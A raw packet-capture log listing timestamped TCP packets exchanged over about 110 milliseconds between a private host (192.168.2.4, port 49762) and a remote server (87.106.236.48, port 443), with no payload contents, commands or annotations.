Nov 1, 2024 13:42:30.382808924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382829905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382836103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382848978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382864952 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382900953 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382900953 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382916927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382935047 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382952929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382963896 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382970095 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382982016 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382998943 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383008003 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383028984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383035898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383048058 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383058071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383079052 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383079052 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383091927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383099079 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383122921 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383147001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383152008 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383158922 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383177042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383200884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383208036 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383229971 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383234978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383249044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383255005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383269072 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383285999 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383321047 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383327961 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383335114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383352041 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383373976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383379936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.383404016 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383413076 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.383785963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.385509968 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.387870073 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.387896061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.387953997 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.387984037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.387991905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388025999 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388073921 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388207912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388226032 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388282061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388281107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388302088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388310909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388326883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388359070 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388365984 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388377905 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388395071 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388410091 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388597012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388616085 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388647079 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388653040 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388681889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388696909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388776064 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388811111 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388833046 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388839006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388868093 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388885021 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.388973951 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.388993025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389024973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389031887 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389055014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389056921 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389075041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389081955 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389095068 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389110088 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389143944 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389311075 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389332056 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389369965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389381886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389424086 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389499903 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389518023 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389550924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389563084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389575958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389600039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389601946 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389617920 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389642954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389652014 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389658928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389681101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389697075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389926910 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389945030 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.389978886 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.389991045 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.390002966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.390005112 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.390027046 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.390032053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.390052080 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.390065908 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.390096903 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.393867970 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.397793055 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.397809982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.397857904 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.397866011 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.397877932 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.397903919 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.397999048 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398036957 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.398056984 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.398119926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398128033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.398140907 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398169041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398205042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.398224115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.398255110 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398262024 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.398288012 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398298025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398447037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.398611069 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.433783054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.433804035 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.433881998 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.433891058 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.433919907 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.433953047 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.475682020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475701094 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475784063 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475809097 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.475824118 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475841999 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475886106 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.475920916 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475923061 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.475935936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475951910 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.475970984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476000071 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476006031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476042032 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476047039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476058006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476078987 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476098061 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476135969 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476140976 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476182938 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476464033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476479053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476517916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476526022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476546049 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476557970 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476802111 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476819992 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476852894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476861954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476888895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476898909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.476949930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.476967096 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.477001905 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.477010012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.477034092 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.477046967 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.477313042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.477328062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.477365017 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.477371931 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.477395058 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.477411985 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480042934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480067015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480112076 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480118990 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480149984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480153084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480171919 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480178118 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480190039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480199099 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480261087 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480307102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480323076 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480369091 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480377913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480657101 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480679989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480710030 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480717897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.480732918 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.480761051 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481065035 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481100082 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481142044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481152058 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481163025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481163025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481188059 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481205940 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481213093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481235981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481256962 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481372118 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481386900 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481415987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481424093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481441021 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481467962 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481626034 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481642962 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481688023 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481694937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.481720924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.481731892 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482280970 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482299089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482337952 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482345104 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482372999 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482378006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482387066 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482393980 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482412100 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482429981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482465029 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482470989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482511997 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482662916 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482678890 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482717037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482724905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482754946 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482774973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482907057 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482928991 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.482974052 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.482986927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483000040 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483027935 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483231068 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483249903 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483280897 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483289003 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483330965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483330965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483834982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483850002 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483886957 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483895063 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.483908892 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.483932018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484219074 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484235048 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484270096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484276056 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484294891 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484301090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484309912 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484316111 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484339952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484349966 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484374046 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484379053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484406948 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484431028 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484586954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484606981 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484637022 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484642982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484672070 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484692097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484699965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484707117 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484720945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484745026 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484776974 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484782934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484823942 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.484930038 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.484945059 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.485009909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.485016108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.485122919 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.485160112 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.485177040 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.485184908 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.485215902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.485244989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492222071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492238045 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492289066 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492305994 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492320061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492342949 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492398977 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492475033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492491961 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492532015 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492539883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492564917 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492578983 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492680073 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492695093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492724895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492732048 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492753029 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492773056 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492841959 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492862940 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492892027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492897987 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492924929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492937088 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.492979050 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.492995977 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493026972 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493033886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.493058920 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.493077993 CET	49762	443	192.168.2.4	87.106.236.48
